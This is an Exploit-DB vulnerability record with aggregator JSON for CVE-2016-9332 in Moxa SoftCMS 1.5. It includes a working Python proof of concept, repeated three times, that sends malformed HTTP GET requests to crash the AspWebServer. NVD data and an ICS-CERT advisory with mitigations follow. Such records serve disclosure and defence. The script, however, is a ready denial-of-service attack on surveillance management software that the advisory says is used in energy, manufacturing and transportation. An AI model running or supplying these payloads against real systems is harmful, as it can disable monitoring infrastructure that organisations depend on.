ID EDB-ID:40779 Type exploitdb Reporter Exploit-DB Modified 2016-11-18T00:00:00
Description
Moxa SoftCMS 1.5 - Denial of Service (PoC). CVE-2016-9332. Dos exploit for Windows platform
'''
# Title: Moxa SoftCMS 1.5 AspWebServer Denial of Service Vulnerability
# Author: Zhou Yu
# Email: 504137480@qq.com
# Vendor: http://www.moxa.com/
# Versions affected: 1.5 or prior versions
# Test on: Moxa SoftCMS 1.5 on Windows 7 SP1 x32
# CVE: CVE-2016-9332
# Advisory: https://ics-cert.us-cert.gov/advisories/ICSA-16-322-02
Vulnerability Description:
AspWebServer does not properly validate input. An attacker could provide unexpected values and cause the program to crash or excessive consumption of resources could result in a denial-of-service condition.
Vulnerability Discovery Method:
With the help of kitty fuzzing framework, we are able to find some vulnerabilities of the AspWebServer when parsing HTTP GET request. Details of the fuzzer scripts and output can be found here: https://github.com/dazhouzhou/ICS-Vulnerabilities/tree/master/Moxa/SoftCMS .
'''
import socket
host = '192.168.124.128'
port = 81
# extracted four payloads from crashes that can crash the AspWebServer.exe
payload1 = 'GET /\ HTTP/1.1\r\n\r\n'
payload2 = 'GET \x00 HTTP/1.1\r\n\r\n'
payload3 = 'GET \n HTTP/1.1\r\n\r\n'
payload4 = 'GET /. HTTP/1.1\r\n\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload1)
s.close()
{"id": "EDB-ID:40779", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Moxa SoftCMS 1.5 - Denial of Service (PoC)", "description": "Moxa SoftCMS 1.5 - Denial of Service (PoC). CVE-2016-9332. Dos exploit for Windows platform", "published": "2016-11-18T00:00:00", "modified": "2016-11-18T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://www.exploit-db.com/exploits/40779/", "reporter": "Exploit-DB", "references": [], "cvelist": ["CVE-2016-9332"], "lastseen": "2016-11-18T17:23:25", "viewCount": 14, "enchantments": {"score": {"value": 4.1, "vector": "NONE", "modified": "2016-11-18T17:23:25", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-9332"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:30D6FF67CA24E121C00582C9C5EA9344"]}, {"type": "zdt", "idList": ["1337DAY-ID-26354"]}, {"type": "ics", "idList": ["ICSA-16-322-02"]}], "modified": "2016-11-18T17:23:25", "rev": 2}, "vulnersScore": 4.1}, "sourceHref": "https://www.exploit-db.com/download/40779/", "sourceData": "'''\r\n# Title: Moxa SoftCMS 1.5 AspWebServer Denial of Service Vulnerability\r\n# Author: Zhou Yu\r\n# Email: 504137480@qq.com\r\n# Vendor: http://www.moxa.com/\r\n# Versions affected: 1.5 or prior versions\r\n# Test on: Moxa SoftCMS 1.5 on Windows 7 SP1 x32\r\n# CVE: CVE-2016-9332\r\n# Advisory: https://ics-cert.us-cert.gov/advisories/ICSA-16-322-02\r\n\r\nVulnerability Description:\r\nAspWebServer does not properly validate input. An attacker could provide unexpected values and cause the program to crash or excessive consumption of resources could result in a denial-of-service condition.\r\n\r\n\r\nVulnerability Discovery Method:\r\nWith the help of kitty fuzzing framework, we are able to find some vulnerabilities of the AspWebServer when parsing HTTP GET request. Details of the fuzzer scripts and output can be found here: https://github.com/dazhouzhou/ICS-Vulnerabilities/tree/master/Moxa/SoftCMS .\r\n'''\r\n\r\nimport socket\r\nhost = '192.168.124.128' \r\nport = 81\r\n\r\n# extracted four payloads from crashes that can crash the AspWebServer.exe\r\npayload1 = 'GET /\\ HTTP/1.1\\r\\n\\r\\n'\r\npayload2 = 'GET \\x00 HTTP/1.1\\r\\n\\r\\n'\r\npayload3 = 'GET \\n HTTP/1.1\\r\\n\\r\\n'\r\npayload4 = 'GET /. HTTP/1.1\\r\\n\\r\\n'\r\n\r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((host, port))\r\ns.send(payload1)\r\ns.close()\r\n\r\n", "osvdbidlist": []}
{"cve": [{"lastseen": "2020-12-09T20:07:44", "description": "An issue was discovered in Moxa SoftCMS versions prior to Version 1.6. Moxa SoftCMS Webserver does not properly validate input. An attacker could provide unexpected values and cause the program to crash or excessive consumption of resources could result in a denial-of-service condition.", "edition": 5, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "baseScore": 7.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 3.6}, "published": "2017-02-13T21:59:00", "title": "CVE-2016-9332", "type": "cve", "cwe": ["CWE-399"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "COMPLETE", "integrityImpact": "NONE", "baseScore": 7.8, "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-9332"], "modified": "2017-09-03T01:29:00", "cpe": ["cpe:/a:moxa:softcms:1.5"], "id": "CVE-2016-9332", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-9332", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}, "cpe23": ["cpe:2.3:a:moxa:softcms:1.5:*:*:*:*:*:*:*"]}], "zdt": [{"lastseen": "2018-01-05T21:02:55", "description": "Exploit for windows platform in category dos / poc", "edition": 1, "published": "2016-11-18T00:00:00", "type": "zdt", "title": "Moxa SoftCMS 1.5 - Denial of Service (PoC) Exploit", "bulletinFamily": "exploit", "cvelist": ["CVE-2016-9332"], "modified": "2016-11-18T00:00:00", "href": "https://0day.today/exploit/description/26354", "id": "1337DAY-ID-26354", "sourceData": "'''\r\n# Title: Moxa SoftCMS 1.5 AspWebServer Denial of Service Vulnerability\r\n# Author: Zhou Yu\r\n# Email: [email\u00a0protected]\r\n# Vendor: http://www.moxa.com/\r\n# Versions affected: 1.5 or prior versions\r\n# Test on: Moxa SoftCMS 1.5 on Windows 7 SP1 x32\r\n# CVE: CVE-2016-9332\r\n# Advisory: https://ics-cert.us-cert.gov/advisories/ICSA-16-322-02\r\n \r\nVulnerability Description:\r\nAspWebServer does not properly validate input. An attacker could provide unexpected values and cause the program to crash or excessive consumption of resources could result in a denial-of-service condition.\r\n \r\n \r\nVulnerability Discovery Method:\r\nWith the help of kitty fuzzing framework, we are able to find some vulnerabilities of the AspWebServer when parsing HTTP GET request. Details of the fuzzer scripts and output can be found here: https://github.com/dazhouzhou/ICS-Vulnerabilities/tree/master/Moxa/SoftCMS .\r\n'''\r\n \r\nimport socket\r\nhost = '192.168.124.128' \r\nport = 81\r\n \r\n# extracted four payloads from crashes that can crash the AspWebServer.exe\r\npayload1 = 'GET /\\ HTTP/1.1\\r\\n\\r\\n'\r\npayload2 = 'GET \\x00 HTTP/1.1\\r\\n\\r\\n'\r\npayload3 = 'GET \\n HTTP/1.1\\r\\n\\r\\n'\r\npayload4 = 'GET /. HTTP/1.1\\r\\n\\r\\n'\r\n \r\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\ns.connect((host, port))\r\ns.send(payload1)\r\ns.close()\n\n# 0day.today [2018-01-05] #", "sourceHref": "https://0day.today/exploit/26354", "cvss": {"score": 7.8, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:NONE/A:COMPLETE/"}}], "exploitpack": [{"lastseen": "2020-04-01T19:04:35", "description": "\nMoxa SoftCMS 1.5 - Denial of Service (PoC)", "edition": 1, "published": "2016-11-18T00:00:00", "title": "Moxa SoftCMS 1.5 - Denial of Service (PoC)", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2016-9332"], "modified": "2016-11-18T00:00:00", "id": "EXPLOITPACK:30D6FF67CA24E121C00582C9C5EA9344", "href": "", "sourceData": "'''\n# Title: Moxa SoftCMS 1.5 AspWebServer Denial of Service Vulnerability\n# Author: Zhou Yu\n# Email: 504137480@qq.com\n# Vendor: http://www.moxa.com/\n# Versions affected: 1.5 or prior versions\n# Test on: Moxa SoftCMS 1.5 on Windows 7 SP1 x32\n# CVE: CVE-2016-9332\n# Advisory: https://ics-cert.us-cert.gov/advisories/ICSA-16-322-02\n\nVulnerability Description:\nAspWebServer does not properly validate input. An attacker could provide unexpected values and cause the program to crash or excessive consumption of resources could result in a denial-of-service condition.\n\n\nVulnerability Discovery Method:\nWith the help of kitty fuzzing framework, we are able to find some vulnerabilities of the AspWebServer when parsing HTTP GET request. Details of the fuzzer scripts and output can be found here: https://github.com/dazhouzhou/ICS-Vulnerabilities/tree/master/Moxa/SoftCMS .\n'''\n\nimport socket\nhost = '192.168.124.128' \nport = 81\n\n# extracted four payloads from crashes that can crash the AspWebServer.exe\npayload1 = 'GET /\\ HTTP/1.1\\r\\n\\r\\n'\npayload2 = 'GET \\x00 HTTP/1.1\\r\\n\\r\\n'\npayload3 = 'GET \\n HTTP/1.1\\r\\n\\r\\n'\npayload4 = 'GET /. HTTP/1.1\\r\\n\\r\\n'\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.connect((host, port))\ns.send(payload1)\ns.close()", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}], "ics": [{"lastseen": "2020-12-18T03:21:32", "bulletinFamily": "info", "cvelist": ["CVE-2016-9333", "CVE-2016-9332", "CVE-2016-8360"], "description": "## OVERVIEW\n\nZhou Yu working with Trend Micro\u2019s Zero Day Initiative and Gu Ziqiang from Huawei Weiran Labs have identified vulnerabilities in Moxa\u2019s SoftCMS Webserver Application. Moxa has produced an update to mitigate these vulnerabilities. Both researchers have tested the update to validate that it resolves these vulnerabilities.\n\nThese vulnerabilities could be exploited remotely.\n\n## AFFECTED PRODUCTS\n\nMoxa reports that the vulnerabilities affect the following versions of SoftCMS:\n\n * SoftCMS versions prior to Version 1.6\n\n## IMPACT\n\nA successful exploit could allow an attacker to execute arbitrary commands on the target system, as well as gain access to administrative functions of the application.\n\nImpact to individual organizations depends on many factors that are unique to each organization. NCCIC/ICS-CERT recommends that organizations evaluate the impact of these vulnerabilities based on their operational environment, architecture, and product implementation.\n\n## BACKGROUND\n\nMoxa is a Taiwan-based company that maintains offices in several countries around the world, including the US, UK, India, Germany, France, China, Russia, and Brazil.\n\nThe affected product, SoftCMS, is a central management software that manages large scale surveillance systems. According to Moxa, SoftCMS is deployed across several sectors including Commercial Facilities, Critical Manufacturing, Energy, and Transportation Systems. Moxa estimates that this product is used primarily in the United States and Europe with a small percentage in Asia.\n\n## VULNERABILITY CHARACTERIZATION\n\n### VULNERABILITY OVERVIEW\n\n### IMPROPER INPUT VALIDATIONa\n\nMoxa SoftCMS Webserver does not properly validate input. An attacker could provide unexpected values and cause the program to crash or excessive consumption of resources could result in a denial-of-service condition.\n\nCVE-2016-9332b has been assigned to this vulnerability. A CVSS v3 base score of 7.5 has been assigned; the CVSS vector string is (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).c\n\n### DOUBLE FREEd\n\nA specially crafted URL request sent to the SoftCMS ASP Webserver can cause a double free condition on the server allowing an attacker to modify memory locations and possibly cause a denial of service or the execution of arbitrary code.\n\nCVE-2016-8360e has been assigned to this vulnerability. A CVSS v3 base score of 8.1 has been calculated; the CVSS vector string is (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).f\n\n### SQL INJECTIONg\n\nThe SoftCMS Application does not properly sanitize input that may allow a remote attacker access to SoftCMS with administrator\u2019s privilege through specially crafted input.\n\nCVE-2016-9333h has been assigned to this vulnerability. A CVSS v3 base score of 9.8 has been calculated; the CVSS vector string (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).i\n\n### VULNERABILITY DETAILS\n\n#### EXPLOITABILITY\n\nThese vulnerabilities could be exploited remotely.\n\n#### EXISTENCE OF EXPLOIT\n\nNo known public exploits specifically target these vulnerabilities.\n\n#### DIFFICULTY\n\nAn attacker with a low skill would be able to exploit these vulnerabilities.\n\n## MITIGATION\n\nMoxa\u2019s suggested mitigation is to update the application (SoftCMS v1.6), which is available for download from Moxa\u2019s web site at the following link:\n\n[http://www.moxa.com/support/download.aspx?type=support&id=11362](<http://www.moxa.com/support/download.aspx?type=support&id=11362>)\n\nICS-CERT recommends that users take defensive measures to minimize the risk of exploitation of these vulnerabilities. Specifically, users should:\n\n * Minimize network exposure for all control system devices and/or systems, and ensure that they are not accessible from the Internet.\n * Locate control system networks and remote devices behind firewalls, and isolate them from the business network.\n * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n\nICS-CERT reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.\n\nICS-CERT also provides a section for control systems security recommended practices on the ICS-CERT web page. Several recommended practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.\n\nAdditional mitigation guidance and recommended practices are publicly available in the ICS\u2011CERT Technical Information Paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies, that is available for download from the ICS-CERT web site.\n\nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to ICS-CERT for tracking and correlation against other incidents.\n\n * a. CWE-20: Improper Input Validation, https://cwe.mitre.org/data/definitions/20.html, web site last accessed November 17, 2016.\n * b. NVD, https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-9332, NIST uses this advisory to create the CVE web site report. This web site will be active sometime after publication of this advisory.\n * c. CVSS Calculator, https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, web site last accessed November 17, 2016.\n * d. CWE-415: Double Free, https://cwe.mitre.org/data/definitions/415.html, web site last accessed November 17, 2016.\n * e. NVD, https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-8360, NIST uses this advisory to create the CVE web site report. This web site will be active sometime after publication of this advisory.\n * f. CVSS Calculator, https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, web site last accessed November 17, 2016.\n * g. CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), http://cwe.mitre.org/data/definitions/89.html, web site last accessed November 17, 2016.\n * h. NVD, https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-9333, NIST uses this advisory to create the CVE web site report. This web site will be active sometime after publication of this advisory.\n * i. CVSS Calculator, https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, web site last accessed November 17, 2016.\n\n## \nContact Information\n\nFor any questions related to this report, please contact the CISA at: \n \nEmail: [CISAservicedesk@cisa.dhs.gov](<mailto:cisaservicedesk@cisa.dhs.gov>) \nToll Free: 1-888-282-0870\n\nFor industrial control systems cybersecurity information: https://us-cert.cisa.gov/ics \nor incident reporting: https://us-cert.cisa.gov/report\n\nCISA continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.\n\nThis product is provided subject to this Notification and this [Privacy & Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://surveymonkey.com/r/G8STDRY?product=https://us-cert.cisa.gov/ics/advisories/ICSA-16-322-02>); we'd welcome your feedback.\n", "edition": 15, "modified": "2016-11-17T00:00:00", "published": "2016-11-17T00:00:00", "id": "ICSA-16-322-02", "href": "https://www.us-cert.gov//ics/advisories/ICSA-16-322-02", "title": "Moxa SoftCMS Vulnerabilities", "type": "ics", "cvss": {"score": 7.8, "vector": "AV:N/AC:L/Au:N/C:N/I:N/A:C"}}]}